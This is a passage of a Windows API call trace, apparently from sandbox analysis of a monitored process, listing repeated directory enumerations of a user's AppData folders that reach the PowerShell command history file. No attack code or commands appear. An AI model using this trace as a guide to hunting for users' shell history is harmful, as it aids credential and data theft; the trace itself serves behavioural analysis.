cAlternateFileName="")) returned 1 [0215.626] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b10dbc5, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b10dbc5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b10dbc5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x3fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="CameraRoll.library-ms", cAlternateFileName="CAMERA~1.LIB")) returned 1 [0215.627] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x434a60af, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x434a60af, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x2b1d7aec, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0215.627] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43649a85, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4366fcc2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43695fb2, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x858, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents.library-ms", cAlternateFileName="DOCUME~1.LIB")) returned 1 [0215.627] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4372e947, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43754b80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x82e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.library-ms", cAlternateFileName="MUSIC~1.LIB")) returned 1 [0215.628] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436bc315, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436e2464, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436e2464, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x83f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures.library-ms", cAlternateFileName="PICTUR~1.LIB")) returned 1 [0215.628] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b1d2cc3, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b1d2cc3, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b1d4063, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0x0, dwReserved1=0x0, cFileName="SavedPictures.library-ms", cAlternateFileName="SAVEDP~1.LIB")) returned 1 [0215.628] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x434a60af, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435d73aa, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435d73aa, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x84a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos.library-ms", cAlternateFileName="VIDEOS~1.LIB")) returned 1 [0215.629] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x434a60af, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435d73aa, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435d73aa, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x84a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos.library-ms", cAlternateFileName="VIDEOS~1.LIB")) returned 0 [0215.629] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0215.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0215.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0215.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0215.631] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", lpFilePart=0x0) returned 0x49 [0215.631] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\network shortcuts\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3ced6473, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0215.631] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3ced6473, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.632] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3ced6473, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.632] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0215.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0215.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0215.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0215.633] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", lpFilePart=0x0) returned 0x49 [0215.633] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\network shortcuts\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3ced6473, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0215.633] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3ced6473, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.633] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3ced6473, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.634] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0215.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0215.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0215.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0215.634] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell", lpFilePart=0x0) returned 0x42 [0215.634] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\powershell\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74c712a9, ftCreationTime.dwHighDateTime=0x1d93633, ftLastAccessTime.dwLowDateTime=0x74c712a9, ftLastAccessTime.dwHighDateTime=0x1d93633, ftLastWriteTime.dwLowDateTime=0x74c712a9, ftLastWriteTime.dwHighDateTime=0x1d93633, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0215.636] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74c712a9, ftCreationTime.dwHighDateTime=0x1d93633, ftLastAccessTime.dwLowDateTime=0x74c712a9, ftLastAccessTime.dwHighDateTime=0x1d93633, ftLastWriteTime.dwLowDateTime=0x74c712a9, ftLastWriteTime.dwHighDateTime=0x1d93633, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.636] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74c712a9, ftCreationTime.dwHighDateTime=0x1d93633, ftLastAccessTime.dwLowDateTime=0x74c712a9, ftLastAccessTime.dwHighDateTime=0x1d93633, ftLastWriteTime.dwLowDateTime=0x74c712a9, ftLastWriteTime.dwHighDateTime=0x1d93633, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1 [0215.636] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74c712a9, ftCreationTime.dwHighDateTime=0x1d93633, ftLastAccessTime.dwLowDateTime=0x74c712a9, ftLastAccessTime.dwHighDateTime=0x1d93633, ftLastWriteTime.dwLowDateTime=0x74c712a9, ftLastWriteTime.dwHighDateTime=0x1d93633, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 0 [0215.637] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0215.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0215.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0215.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0215.637] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell", lpFilePart=0x0) returned 0x42 [0215.637] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\powershell\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74c712a9, ftCreationTime.dwHighDateTime=0x1d93633, ftLastAccessTime.dwLowDateTime=0x74c712a9, ftLastAccessTime.dwHighDateTime=0x1d93633, ftLastWriteTime.dwLowDateTime=0x74c712a9, ftLastWriteTime.dwHighDateTime=0x1d93633, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0215.637] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74c712a9, ftCreationTime.dwHighDateTime=0x1d93633, ftLastAccessTime.dwLowDateTime=0x74c712a9, ftLastAccessTime.dwHighDateTime=0x1d93633, ftLastWriteTime.dwLowDateTime=0x74c712a9, ftLastWriteTime.dwHighDateTime=0x1d93633, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.638] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74c712a9, ftCreationTime.dwHighDateTime=0x1d93633, ftLastAccessTime.dwLowDateTime=0x74c712a9, ftLastAccessTime.dwHighDateTime=0x1d93633, ftLastWriteTime.dwLowDateTime=0x74c712a9, ftLastWriteTime.dwHighDateTime=0x1d93633, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1 [0215.638] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.638] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0215.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0215.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0215.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0215.639] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline", nBufferLength=0x105, lpBuffer=0x1e1dc610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline", lpFilePart=0x0) returned 0x4d [0215.639] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\powershell\\psreadline\\*"), lpFindFileData=0x1e1dc840 | out: lpFindFileData=0x1e1dc840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74c712a9, ftCreationTime.dwHighDateTime=0x1d93633, ftLastAccessTime.dwLowDateTime=0x74c712a9, ftLastAccessTime.dwHighDateTime=0x1d93633, ftLastWriteTime.dwLowDateTime=0x74c712a9, ftLastWriteTime.dwHighDateTime=0x1d93633, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0215.639] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74c712a9, ftCreationTime.dwHighDateTime=0x1d93633, ftLastAccessTime.dwLowDateTime=0x74c712a9, ftLastAccessTime.dwHighDateTime=0x1d93633, ftLastWriteTime.dwLowDateTime=0x74c712a9, ftLastWriteTime.dwHighDateTime=0x1d93633, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.640] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74c712a9, ftCreationTime.dwHighDateTime=0x1d93633, ftLastAccessTime.dwLowDateTime=0x74c712a9, ftLastAccessTime.dwHighDateTime=0x1d93633, ftLastWriteTime.dwLowDateTime=0x5cd73a09, ftLastWriteTime.dwHighDateTime=0x1d9728d, nFileSizeHigh=0x0, nFileSizeLow=0xef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConsoleHost_history.txt", cAlternateFileName="CONSOL~1.TXT")) returned 1 [0215.640] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.640] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0215.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0215.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0215.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0215.640] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline", nBufferLength=0x105, lpBuffer=0x1e1dc610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline", lpFilePart=0x0) returned 0x4d [0215.641] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\powershell\\psreadline\\*"), lpFindFileData=0x1e1dc840 | out: lpFindFileData=0x1e1dc840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74c712a9, ftCreationTime.dwHighDateTime=0x1d93633, ftLastAccessTime.dwLowDateTime=0x74c712a9, ftLastAccessTime.dwHighDateTime=0x1d93633, ftLastWriteTime.dwLowDateTime=0x74c712a9, ftLastWriteTime.dwHighDateTime=0x1d93633, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0215.641] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74c712a9, ftCreationTime.dwHighDateTime=0x1d93633, ftLastAccessTime.dwLowDateTime=0x74c712a9, ftLastAccessTime.dwHighDateTime=0x1d93633, ftLastWriteTime.dwLowDateTime=0x74c712a9, ftLastWriteTime.dwHighDateTime=0x1d93633, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.641] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74c712a9, ftCreationTime.dwHighDateTime=0x1d93633, ftLastAccessTime.dwLowDateTime=0x74c712a9, ftLastAccessTime.dwHighDateTime=0x1d93633, ftLastWriteTime.dwLowDateTime=0x5cd73a09, ftLastWriteTime.dwHighDateTime=0x1d9728d, nFileSizeHigh=0x0, nFileSizeLow=0xef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConsoleHost_history.txt", cAlternateFileName="CONSOL~1.TXT")) returned 1 [0215.641] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74c712a9, ftCreationTime.dwHighDateTime=0x1d93633, ftLastAccessTime.dwLowDateTime=0x74c712a9, ftLastAccessTime.dwHighDateTime=0x1d93633, ftLastWriteTime.dwLowDateTime=0x5cd73a09, ftLastWriteTime.dwHighDateTime=0x1d9728d, nFileSizeHigh=0x0, nFileSizeLow=0xef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConsoleHost_history.txt", cAlternateFileName="CONSOL~1.TXT")) returned 0 [0215.642] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0215.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0215.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0215.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0215.642] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", lpFilePart=0x0) returned 0x49 [0215.642] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\printer shortcuts\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3ced6473, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0215.643] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3ced6473, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.643] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3ced6473, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.643] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0215.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0215.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0215.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0215.643] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", lpFilePart=0x0) returned 0x49 [0215.644] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\printer shortcuts\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3ced6473, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0215.644] FindNextFileW (in: hFindFile=0x1d469ca0, 